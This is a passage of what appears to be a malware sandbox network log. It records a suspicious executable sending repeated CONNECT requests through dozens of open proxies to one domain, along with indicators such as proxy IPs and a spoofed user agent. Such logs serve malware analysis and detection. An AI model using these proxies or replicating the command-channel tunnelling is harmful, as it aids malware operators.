Mar 11, 2024 16:42:30.688930035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.688797951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:42.594763041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
867	192.168.2.11	52877	170.84.205.17	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.566709042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
868	192.168.2.11	52016	115.96.208.124	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.577529907 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:42:22.982848883 CET	72	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
869	192.168.2.11	52843	89.218.8.152	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.586787939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
870	192.168.2.11	52124	106.14.255.124	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.640149117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
871	192.168.2.11	52889	162.223.94.164	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.640408039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.925833941 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
872	192.168.2.11	50852	162.241.46.40	46097	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.644577026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.735559940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.830009937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.845264912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.847341061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.985343933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:10.985434055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:34.985277891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:23.000816107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
873	192.168.2.11	52815	122.114.232.137	808	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.644620895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
874	192.168.2.11	52927	172.67.182.153	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.648241043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.802840948 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
875	192.168.2.11	52920	74.48.7.43	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.652276993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
876	192.168.2.11	52933	104.20.225.218	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.657437086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.812880039 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
877	192.168.2.11	52838	194.247.173.17	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.660356045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
878	192.168.2.11	53046	41.86.252.91	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.662453890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
879	192.168.2.11	53049	41.86.252.91	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.663074970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
880	192.168.2.11	53052	41.86.252.91	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.664582968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
881	192.168.2.11	53053	41.86.252.91	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.666892052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
882	192.168.2.11	52917	142.54.236.97	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.667052031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
883	192.168.2.11	52125	202.40.181.220	31247	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.670491934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.485605001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
884	192.168.2.11	52224	198.57.195.42	38242	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.670964003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.689129114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.689384937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.689034939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.704257011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:58.782212973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:10.875972986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:34.969975948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
885	192.168.2.11	52943	162.159.242.62	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.674505949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.837471008 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
886	192.168.2.11	52911	5.161.103.113	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.678674936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
887	192.168.2.11	52915	162.214.227.68	52208	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.682288885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
888	192.168.2.11	52886	103.49.202.252	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.713283062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.081655025 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:42:22 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
889	192.168.2.11	53132	43.153.81.60	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.720802069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
890	192.168.2.11	53133	43.153.81.60	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.722285032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
891	192.168.2.11	53136	43.153.81.60	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.723943949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
892	192.168.2.11	53141	43.153.81.60	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.725421906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
893	192.168.2.11	52893	80.78.64.70	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:22.727200985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
894	192.168.2.11	52989	104.16.213.202	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
